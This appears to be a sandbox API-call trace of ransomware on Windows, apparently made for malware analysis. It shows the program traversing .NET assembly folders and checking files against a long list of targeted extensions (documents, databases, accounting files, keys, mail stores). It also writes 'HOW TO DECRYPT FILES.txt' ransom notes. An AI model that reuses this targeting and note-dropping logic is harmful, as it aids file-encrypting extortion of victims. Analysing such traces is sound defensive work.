returned 0 [0112.414] lstrlenA (lpString="*.xlsx") returned 6 [0112.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.xls") returned 0 [0112.414] lstrlenA (lpString="*.xls") returned 5 [0112.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.mp4") returned 0 [0112.414] lstrlenA (lpString="*.mp4") returned 5 [0112.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.ppt") returned 0 [0112.414] lstrlenA (lpString="*.ppt") returned 5 [0112.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.pptx") returned 0 [0112.414] lstrlenA (lpString="*.pptx") returned 6 [0112.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.doc") returned 0 [0112.414] lstrlenA (lpString="*.doc") returned 5 [0112.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.dot") returned 0 [0112.414] lstrlenA (lpString="*.dot") returned 5 [0112.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.docx") returned 0 [0112.415] lstrlenA (lpString="*.docx") returned 6 [0112.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.7z") returned 0 [0112.415] lstrlenA (lpString="*.7z") returned 4 [0112.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.tar") returned 0 [0112.415] lstrlenA (lpString="*.tar") returned 5 [0112.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.bz2") returned 0 [0112.415] lstrlenA (lpString="*.bz2") returned 5 [0112.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.gz") returned 0 [0112.415] lstrlenA (lpString="*.gz") returned 4 [0112.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.mkv") returned 0 [0112.415] lstrlenA (lpString="*.mkv") returned 5 [0112.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.eml") returned 0 [0112.415] lstrlenA (lpString="*.eml") returned 5 [0112.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.msg") returned 0 [0112.415] lstrlenA (lpString="*.msg") returned 5 [0112.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.edb") returned 0 [0112.415] lstrlenA (lpString="*.edb") returned 5 [0112.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.accdb") returned 0 [0112.415] lstrlenA (lpString="*.accdb") returned 7 [0112.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.odb") returned 0 [0112.415] lstrlenA (lpString="*.odb") returned 5 [0112.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.java") returned 0 [0112.415] lstrlenA (lpString="*.java") returned 6 [0112.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.asm") returned 0 [0112.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.pfx") returned 0 [0112.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.pem") returned 0 [0112.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.p12") returned 0 [0112.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.gpg") returned 0 [0112.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.vsd") returned 0 [0112.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.odg") returned 0 [0112.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.raw") returned 0 [0112.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.nef") returned 0 [0112.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.svg") returned 0 [0112.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.psd") returned 0 [0112.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.vmx") returned 0 [0112.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.vmdk") returned 0 [0112.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.vdi") returned 0 [0112.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.lay6") returned 0 [0112.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.mpeg") returned 0 [0112.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.djvu") returned 0 [0112.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.tiff") returned 0 [0112.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.backup") returned 0 [0112.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.pdf") returned 0 [0112.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.cert") returned 0 [0112.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.docm") returned 0 [0112.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.xlsm") returned 0 [0112.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.dwg") returned 0 [0112.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.nd") returned 0 [0112.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.tlg") returned 0 [0112.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.lgb") returned 0 [0112.419] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.mov") returned 0 [0112.419] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.xdw") returned 0 [0112.419] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.ods") returned 0 [0112.419] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.wav") returned 0 [0112.419] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.mp3") returned 0 [0112.419] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.aiff") returned 0 [0112.419] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.flac") returned 0 [0112.419] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.m4a") returned 0 [0112.420] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.csv") returned 0 [0112.420] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x569b5608, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x569b5608, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x569db768, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x13f600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Configuration.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0112.420] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.420] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56a27a29, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x56a27a29, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x56a27a29, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="091b931d0f6408001747dbbbb05dbe66", cAlternateFileName="091B93~1")) returned 0 [0112.420] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0112.421] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb3f3ec67, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb3f3ec67, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb3f3ec67, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Core", cAlternateFileName="SYSTEM~1.COR")) returned 1 [0112.421] lstrcmpA (lpString1=".", lpString2="System.Core") returned -1 [0112.421] lstrcmpA (lpString1="..", lpString2="System.Core") returned -1 [0112.422] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.422] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="System.Core" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core" [0112.422] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb3f3ec67, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb3f3ec67, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb3f3ec67, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.422] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.422] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb3f3ec67, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb3f3ec67, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb3f3ec67, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.422] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.422] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.422] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb3f3ec67, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb3f3ec67, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb3f3ec67, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="83e2f6909980da7347e7806d8c26670e", cAlternateFileName="83E2F6~1")) returned 1 [0112.423] lstrcmpA (lpString1=".", lpString2="83e2f6909980da7347e7806d8c26670e") returned -1 [0112.423] lstrcmpA (lpString1="..", lpString2="83e2f6909980da7347e7806d8c26670e") returned -1 [0112.423] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\*.*") returned="*.*" [0112.423] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\", lpString2="83e2f6909980da7347e7806d8c26670e" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e" [0112.423] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb3f3ec67, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb3f3ec67, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb3f3ec67, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.424] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.424] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb3f3ec67, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb3f3ec67, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb3f3ec67, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.424] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.424] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.424] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3e342c5, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb3e342c5, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb3e80585, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x329600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Core.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0112.424] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.424] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Core.ni.dll") returned -1 [0112.424] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Core.ni.dll") returned -1 [0112.424] lstrcmpiA (lpString1="", lpString2="System.Core.ni.dll") returned -1 [0112.424] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\*.*") returned="*.*" [0112.425] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\" [0112.425] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\") returned="" [0112.425] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\HOW TO DECRYPT FILES.txt" [0112.425] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.core\\83e2f6909980da7347e7806d8c26670e\\how to decrypt files.txt")) returned 0xffffffff [0112.425] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.core\\83e2f6909980da7347e7806d8c26670e\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.431] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0112.432] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.432] CloseHandle (hObject=0x90) returned 1 [0112.432] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\", lpString2="System.Core.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll" [0112.432] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.ems") returned 0 [0112.432] lstrlenA (lpString="*.ems") returned 5 [0112.432] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.db") returned 0 [0112.432] lstrlenA (lpString="*.db") returned 4 [0112.433] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.dbf") returned 0 [0112.433] lstrlenA (lpString="*.dbf") returned 5 [0112.433] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.myox") returned 0 [0112.433] lstrlenA (lpString="*.myox") returned 6 [0112.433] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.myo") returned 0 [0112.433] lstrlenA (lpString="*.myo") returned 5 [0112.433] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.qbw") returned 0 [0112.433] lstrlenA (lpString="*.qbw") returned 5 [0112.433] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.qbb") returned 0 [0112.433] lstrlenA (lpString="*.qbb") returned 5 [0112.433] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.qbm") returned 0 [0112.433] lstrlenA (lpString="*.qbm") returned 5 [0112.433] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.qbo") returned 0 [0112.433] lstrlenA (lpString="*.qbo") returned 5 [0112.433] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.qbx") returned 0 [0112.433] lstrlenA (lpString="*.qbx") returned 5 [0112.433] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.qba") returned 0 [0112.433] lstrlenA (lpString="*.qba") returned 5 [0112.433] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.qby") returned 0 [0112.433] lstrlenA (lpString="*.qby") returned 5 [0112.433] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.qbj") returned 0 [0112.433] lstrlenA (lpString="*.qbj") returned 5 [0112.433] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.ofx") returned 0 [0112.433] lstrlenA (lpString="*.ofx") returned 5 [0112.433] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.qif") returned 0 [0112.433] lstrlenA (lpString="*.qif") returned 5 [0112.434] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.mye") returned 0 [0112.434] lstrlenA (lpString="*.mye") returned 5 [0112.434] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.mbox") returned 0 [0112.434] lstrlenA (lpString="*.mbox") returned 6 [0112.434] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.eml") returned 0 [0112.434] lstrlenA (lpString="*.eml") returned 5 [0112.434] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll", pszSpec="*.pst") returned 0 [0112.434] lstrlenA (lpString="*.pst") returned 5 